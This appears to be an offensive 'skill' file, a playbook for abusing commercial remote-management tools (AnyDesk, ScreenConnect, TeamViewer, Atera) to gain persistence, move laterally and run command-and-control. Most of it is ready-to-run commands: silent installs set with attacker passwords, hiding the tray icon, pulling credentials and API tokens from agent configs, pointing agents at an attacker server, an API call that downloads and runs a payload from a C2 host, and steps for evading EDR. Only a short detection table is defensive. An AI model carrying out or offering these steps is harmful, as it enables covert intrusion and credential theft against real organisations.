rmm-tool-abuse

name	rmm-tool-abuse
description	Legitimate RMM tool abuse — deploy or hijack Atera, ScreenConnect, AnyDesk, TeamViewer for persistence, lateral movement, and C2. Leverages trusted software to evade EDR and blend with IT admin traffic.
metadata	{"subdomain":"defense-evasion","when_to_use":"rmm remote monitoring management atera screenconnect anydesk teamviewer remote access tool abuse persistence lateral movement living off the land lolbas trusted software splashtop connectwise level action1 ninja remote desktop","mitre_attack":"T1219, T1021, T1105","tags":"exploit rmm persistence lateral-movement evasion"}

RMM Tool Abuse

Abuses legitimate Remote Monitoring and Management (RMM) software for persistence, lateral movement, and C2. RMM agents are signed binaries, trusted by EDR, allowed through firewalls, and blend with legitimate IT operations traffic. Deploying a commercial RMM agent provides full remote control without custom implants.

Quick Reference

# Deploy AnyDesk silently
curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe"
anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent
echo <ATTACKER_ANYDESK_PASS> | anydesk.exe --set-password
anydesk.exe --get-id > anydesk_id.txt

# Deploy ScreenConnect silently
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn

# Deploy Atera agent silently
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_EMAIL> CompanyId=1

# Find existing RMM installations
wmic product get name,version | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja level"
reg query "HKLM\SOFTWARE" /s /f "AnyDesk" 2>nul
reg query "HKLM\SOFTWARE" /s /f "TeamViewer" 2>nul

MITRE ATT&CK Mapping

Technique	ID	Application
Remote Access Software	T1219	Deploy/abuse RMM for persistent remote access
Remote Services	T1021	Lateral movement through RMM console to managed endpoints
Ingress Tool Transfer	T1105	Use RMM file transfer to stage payloads
Signed Binary Proxy Execution	T1218	RMM agent is vendor-signed, bypasses app allowlisting
Valid Accounts	T1078	Hijack existing RMM admin credentials
Persistence via Service	T1543.003	RMM agent installs as Windows service

1. Discovery — Finding Existing RMM Installations

# Windows — enumerate installed RMM products
wmic product get name,version 2>nul | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja connectwise level action1 datto"

# Service enumeration
sc query type= service state= all | findstr /i "AnyDesk TeamViewer ScreenConnect Atera"

# Registry checks for common RMM artifacts
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID 2>nul
reg query "HKLM\SOFTWARE\AnyDesk" 2>nul
reg query "HKLM\SOFTWARE\ScreenConnect Client" 2>nul

# Process enumeration
tasklist /fi "imagename eq AnyDesk.exe" 2>nul
tasklist /fi "imagename eq TeamViewer.exe" 2>nul
tasklist /fi "imagename eq ScreenConnect.WindowsClient.exe" 2>nul

# Linux — check for RMM agents
ps aux | grep -iE 'anydesk|teamviewer|rustdesk'
find / -name "anydesk" -o -name "teamviewerd" 2>/dev/null
systemctl list-units | grep -iE 'anydesk|teamviewer'

# Network — identify RMM traffic patterns
netstat -ano | findstr "443 80 7070 5938"
# TeamViewer: ports 5938, 443 to *.teamviewer.com
# AnyDesk: port 443 to *.net.anydesk.com
# ScreenConnect: port 443 to custom server

2. Deploying RMM Agents for Persistence

AnyDesk

# Download and silent install
curl -sLo C:\ProgramData\anydesk.exe "https://download.anydesk.com/AnyDesk.exe"

# Install as service with unattended access
C:\ProgramData\anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent

# Set unattended password
echo "<ATTACKER_PASS>" | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password

# Retrieve AnyDesk ID for remote connection
"C:\ProgramData\AnyDesk\AnyDesk.exe" --get-id

# Config file manipulation for stealth
# Disable tray icon and notification
echo "ad.security.interactive_access=2" >> "C:\ProgramData\AnyDesk\system.conf"
echo "ad.ui.tray_icon=0" >> "C:\ProgramData\AnyDesk\system.conf"

# Linux deployment
curl -sLo /tmp/anydesk.deb "https://download.anydesk.com/linux/anydesk_amd64.deb"
dpkg -i /tmp/anydesk.deb 2>/dev/null
echo "<ATTACKER_PASS>" | anydesk --set-password
anydesk --get-id

ScreenConnect (ConnectWise Control)

# Generate MSI from attacker-controlled ScreenConnect instance
# URL format: https://<SERVER>/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

# Silent MSI install
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn /norestart

# Custom session group for organization
msiexec /i ScreenConnect.ClientSetup.msi /qn \
  SESSIONGROUP="<TARGET_ORG>" \
  SESSIONNAME="IT-Support-%COMPUTERNAME%"

# Verify service running
sc query "ScreenConnect Client (xxxxxxxx)" 2>nul

# ScreenConnect relay traffic uses HTTPS to attacker server — looks like normal web traffic

TeamViewer

# Silent install with predefined password
TeamViewer_Setup.exe /S /norestart

# Configure unattended access via registry
reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordAES /t REG_BINARY /d <AES_ENCRYPTED_PASS> /f
reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordExported /t REG_DWORD /d 1 /f

# Retrieve TeamViewer ID
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID

# Alternative: TeamViewer Host (headless mode for servers)
TeamViewer_Host_Setup.exe /S /norestart

Atera

# Atera agent — requires attacker Atera account (free trial works)
# Generate installer from Atera console with unique agent link

# Silent install
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_ACCT_EMAIL> CompanyId=1

# Atera provides: remote shell, file manager, software deployment, script execution
# All traffic over HTTPS to *.atera.com — indistinguishable from legitimate MSP traffic

3. Leveraging Existing RMM Installations

# If RMM is already deployed, hijack the admin console

# TeamViewer — extract credentials from registry/config
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v SecurityPasswordAES
# Decrypt with known TeamViewer AES key (static per-version key)

# AnyDesk — extract config and connection tokens
type "C:\ProgramData\AnyDesk\system.conf"
type "C:\ProgramData\AnyDesk\service.conf"
# Look for ad.security.password_hash — can be replaced with attacker hash

# ScreenConnect — if you have access to the ScreenConnect server
# Extension/plugin abuse for code execution on all managed endpoints
# Navigate to Admin > Extensions > upload malicious extension

# Atera — API token theft
# Atera API key in: registry, agent config, or intercepted API calls
reg query "HKLM\SOFTWARE\ATERA Networks\AlphaAgent" /s

# ConnectWise Automate — agent hijack
# Config stored in: C:\Windows\LTSvc\labtech.ini
type C:\Windows\LTSvc\labtech.ini
# Contains: ServerAddress, ComputerID, LocationID
# Redirect agent to attacker Automate server by modifying ServerAddress

4. Lateral Movement via RMM Console

# Once RMM admin access is obtained, lateral movement is trivial:

# ScreenConnect — execute commands on any managed endpoint
# From ScreenConnect web UI: select host → Commands → Run Command
# Or via ScreenConnect API:
curl -sk "https://<SC_SERVER>/Services/PageService.ashx/RunCommand" \
  -H "Cookie: <ADMIN_SESSION>" \
  -d '{"sessionID":"<TARGET_SESSION>","command":"whoami && ipconfig /all"}'

# Atera — remote script execution across all managed devices
# Atera API: run PowerShell on any agent
curl -s "https://app.atera.com/api/v3/agents/<AGENT_ID>/runscript" \
  -H "X-Api-Key: <ATERA_API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"scriptContent":"IEX (New-Object Net.WebClient).DownloadString(\"http://<C2>/payload.ps1\")"}'

# TeamViewer — mass deployment via TeamViewer Management Console
# Use Remote Management > Patch Management to deploy "updates" (payloads)

# File transfer via RMM
# AnyDesk: drag-and-drop or anydesk --file-transfer
# ScreenConnect: Toolbox > Transfer Files
# Atera: Manage > File Explorer > Upload

5. C2 via RMM Channel

# Use RMM's built-in remote shell as C2 channel
# Advantages:
#   - Encrypted HTTPS traffic to vendor cloud
#   - Vendor-signed process
#   - Allowed by firewall/proxy
#   - No custom C2 infrastructure needed

# AnyDesk C2 pattern:
# 1. Install AnyDesk on target
# 2. Set unattended password
# 3. Connect from operator workstation
# 4. Use AnyDesk's terminal feature for command execution

# ScreenConnect C2 pattern:
# 1. Deploy ScreenConnect agent pointing to attacker relay
# 2. Use Backstage shell for persistent command line
# 3. Use Extensions for automated task execution

# Polling interval modification (reduce beacon frequency for stealth)
# AnyDesk: modify ad.net.direct_connections in system.conf
# TeamViewer: adjust AlwaysOnline polling interval

Tools & Resources

Tool	Use Case	URL
AnyDesk	Silent deploy, unattended access	download.anydesk.com
ScreenConnect	Attacker-controlled relay + managed shell	connectwise.com/control
TeamViewer	Mass deployment, file transfer	teamviewer.com
Atera	Full RMM suite, API scripting	atera.com
Level.io	Newer RMM, less EDR coverage	level.io
RustDesk	Open-source, self-hosted RMM	rustdesk.com

Detection Signatures

Indicator	Detection Method
Unexpected RMM agent installation	EDR process creation for known RMM installers
New Windows service for RMM product	SIEM event ID 7045 (service install)
RMM agent connecting to non-corporate relay	Proxy/firewall logs for RMM vendor domains not in IT inventory
msiexec /i with external URL	Command-line logging for remote MSI installs
RMM config file modification	File integrity monitoring on RMM config directories
Multiple RMM products on single host	Asset inventory cross-reference — legitimate IT uses one RMM
AnyDesk --set-password in command line	Process command-line auditing

Error Handling & Edge Cases

• EDR blocks RMM installer: Use the portable/standalone version (AnyDesk portable doesn't require install); rename binary to blend with legitimate software
• Application allowlisting: RMM agents are vendor-signed; most allowlists whitelist by publisher certificate, not filename
• Proxy authentication required: Configure RMM agent to use system proxy settings; ScreenConnect and TeamViewer auto-detect proxy
• Existing RMM with MFA on console: Pivot to API-based access if API keys are extractable from agent config
• RMM vendor blocks attacker account: Use trial accounts with disposable email; rotate accounts across targets
• No internet access on target: Deploy self-hosted RustDesk server inside the network; use it as an internal pivot relay

Decision Gate

IF existing RMM installation found on target:
  → Extract credentials/tokens from agent config
  → Attempt to hijack RMM admin console
  → Use existing RMM for lateral movement across managed endpoints

IF no RMM installed but need persistence:
  → Deploy AnyDesk (smallest footprint, portable mode available)
  → Fallback: ScreenConnect (requires attacker-controlled server)
  → Last resort: Atera (full MSP suite, more features but larger footprint)

IF EDR is aggressive:
  → Use portable/standalone RMM binary (no install, no service)
  → Rename binary to match legitimate IT naming conventions
  → Deploy during business hours to blend with IT admin activity